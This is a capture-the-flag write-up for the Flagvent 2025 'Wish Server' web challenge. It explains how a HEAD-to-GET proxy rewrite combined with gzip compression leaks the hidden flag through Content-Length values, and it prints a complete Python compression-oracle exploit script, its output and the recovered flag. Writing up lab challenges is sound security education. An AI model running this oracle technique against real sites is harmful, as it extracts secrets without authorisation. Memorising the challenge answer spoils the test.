Flagvent 2025: Day 17
FV25.17 - Wish Server
Difficulty
medium
Categories
web misc
Description
As part of the digitalization effort, Santa set up an website for people to submit wishes. This way, they no longer need to fax in their wishlists.
Author
logicaloverflowFlagvent 2025 - Day 17 - wish-server.tar.gzSolution
Investigating the Wish Server
The wish server website we’re presented with is a simple site that allows us to submit a wish, before redirecting us back to the same homepage. There are also several source code files included with the challenge.
We notice that wishlist.html prints out our wishes alongside the flag using the Tera templating engine:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Wish Server</title>
</head>
<body>
<h1>Latest Wishes</h1>
<ul>
{% for wish in wishes %}<li>{{wish}}</li>
{% endfor %}
</ul>
The flag is {{flag}}. Keep it save!
Christmas is drawing near and we have made it through the year without
losing the flag this year. Only a bit longer, Santa! Please don't lose it
again.
</body>
</html>
If we’re able to view this page, we can read the flag!
However, the Caddyfile restricts us from doing this:
:5825 {
@head {
method HEAD
}
@wishlist {
method GET
path /wishlist
}
route {
respond @wishlist "Access denied" 403 {
close
}
method @head GET
encode gzip zstd
reverse_proxy http://localhost:5824
}
}
GET requests to /wishlist are denied, but interestingly, HEAD requests are allowed and are rewritten to GET requests. We also notice the web server supports gzip and zstd encoding.
The main.rs file reveals that the flag is available via a FLAG environment variable.
Notably, we study this function:
async fn add_wish(State(list): State<SharedWishlist>, Form(wish): Form<WishForm>) -> Redirect {
{
let mut lock = list.write().expect("failed to get write lock");
let list = &mut lock.latest_wishes;
if list.len() == 8 {
list.pop_front();
}
list.push_back(wish.wish);
}
Redirect::to("/")
}This tells us the server only stores up to eight wishes in total, ejecting the oldest entry (via list.pop_front()) when the list is full.
Tail-Breach Compression Oracle Attack
If we make a request to /wishlist:
curl --head -I https://968c92ca-7cc9-46c7-9ba5-aac0343d3850.challs.flagvent.org:1337/We receive:
HTTP/1.1 200 OK
Content-Length: 428
Content-Type: text/html; charset=utf-8
Date: Sun, 21 Dec 2025 12:56:04 GMT
Via: 1.1 CaddyAs we can only make HEAD requests, we don’t receive a body. However, we do receive a Content-Length, which changes based on the content of the eight entries in the wish vector. We now deeply consider that the server supports compression via gzip and zstd.
We know our flag begins with FV25{. If we insert a candidate like FV25{a eight times via the /add_wish endpoint, then make a HEAD request to /wishlist with a header that requests compression like Accept-Encoding: gzip, we’d expect the compression to optimise our candidate away, reducing the compressed size (and thus the Content-Length header returned). This happens because the flag is already on the page via the {{flag}} template. If our candidate is incorrect, the compressed size will remain the same. We can keep trying characters from a charset and slowly build up the real flag!
An important note is that, when submitting candidate flags, we use a TAIL_LENGTH to only submit a certain number of tail characters from the flag we’ve recovered so far. This forces the compressor to prefer matching our string against the {{flag}} output, rather than one of our other wishes or arbitrary HTML on the page. This takes a bit of trial and error: we start with a TAIL_LENGTH of 2 and then increase it to 3, which seems to be sufficient.
Therefore, the wish server is vulnerable to a Tail-Breach Compression Oracle Attack.
We write a script to help us exploit this:
import requests
import sys
import string
URL = 'https://968c92ca-7cc9-46c7-9ba5-aac0343d3850.challs.flagvent.org:1337/'
CHARSET = string.ascii_letters + string.digits + "_@$#!{}-"
TAIL_LENGTH = 3
session = requests.Session()
def get_length(tail, char):
data = {'wish': tail + char}
for _ in range(8):
session.post(f'{URL}/add_wish', data=data)
headers = {'Accept-Encoding': 'gzip'}
r = session.head(f'{URL}/wishlist', headers=headers)
return int(r.headers['Content-Length'])
def solve():
flag = 'FV25{'
print(f"--- Tail-Breach Oracle ---")
while not flag.endswith('}'):
best_char = None
min_len = sys.maxsize
tail = flag[-TAIL_LENGTH:]
for char in CHARSET:
l = get_length(tail, char)
if l < min_len:
best_char = char
min_len = l
sys.stdout.write(f"\rFlag: {flag} | Testing: {char} | Best: {best_char} ({min_len})")
sys.stdout.flush()
if best_char:
flag += best_char
print(f"\n[+] Found: {best_char} | Flag: {flag}")
else:
print("\n[!] Failed to find next character. Check CHARSET or TAIL_LENGTH.")
break
if __name__ == "__main__":
solve()
Running the script above slowly reveals the daily flag:
--- Tail-Breach Oracle ---
Flag: FV25{ | Testing: - | Best: n (305)
[+] Found: n | Flag: FV25{n
Flag: FV25{n | Testing: - | Best: 0 (305)
[+] Found: 0 | Flag: FV25{n0
Flag: FV25{n0 | Testing: - | Best: _ (305)
[+] Found: _ | Flag: FV25{n0_
Flag: FV25{n0_ | Testing: - | Best: M (304)
[+] Found: M | Flag: FV25{n0_M
Flag: FV25{n0_M | Testing: - | Best: 0 (304)
[+] Found: 0 | Flag: FV25{n0_M0
Flag: FV25{n0_M0 | Testing: - | Best: r (304)
[+] Found: r | Flag: FV25{n0_M0r
Flag: FV25{n0_M0r | Testing: - | Best: 3 (304)
[+] Found: 3 | Flag: FV25{n0_M0r3
Flag: FV25{n0_M0r3 | Testing: - | Best: _ (304)
[+] Found: _ | Flag: FV25{n0_M0r3_
Flag: FV25{n0_M0r3_ | Testing: - | Best: f (304)
[+] Found: f | Flag: FV25{n0_M0r3_f
Flag: FV25{n0_M0r3_f | Testing: - | Best: 4 (304)
[+] Found: 4 | Flag: FV25{n0_M0r3_f4
Flag: FV25{n0_M0r3_f4 | Testing: - | Best: x (304)
[+] Found: x | Flag: FV25{n0_M0r3_f4x
Flag: FV25{n0_M0r3_f4x | Testing: - | Best: 3 (304)
[+] Found: 3 | Flag: FV25{n0_M0r3_f4x3
Flag: FV25{n0_M0r3_f4x3 | Testing: - | Best: s (304)
[+] Found: s | Flag: FV25{n0_M0r3_f4x3s
Flag: FV25{n0_M0r3_f4x3s | Testing: - | Best: _ (304)
[+] Found: _ | Flag: FV25{n0_M0r3_f4x3s_
Flag: FV25{n0_M0r3_f4x3s_ | Testing: - | Best: p (304)
[+] Found: p | Flag: FV25{n0_M0r3_f4x3s_p
Flag: FV25{n0_M0r3_f4x3s_p | Testing: - | Best: 1 (304)
[+] Found: 1 | Flag: FV25{n0_M0r3_f4x3s_p1
Flag: FV25{n0_M0r3_f4x3s_p1 | Testing: - | Best: s (304)
[+] Found: s | Flag: FV25{n0_M0r3_f4x3s_p1s
Flag: FV25{n0_M0r3_f4x3s_p1s | Testing: - | Best: } (304)
[+] Found: } | Flag: FV25{n0_M0r3_f4x3s_p1s}Flag:
FV25{n0_M0r3_f4x3s_p1s}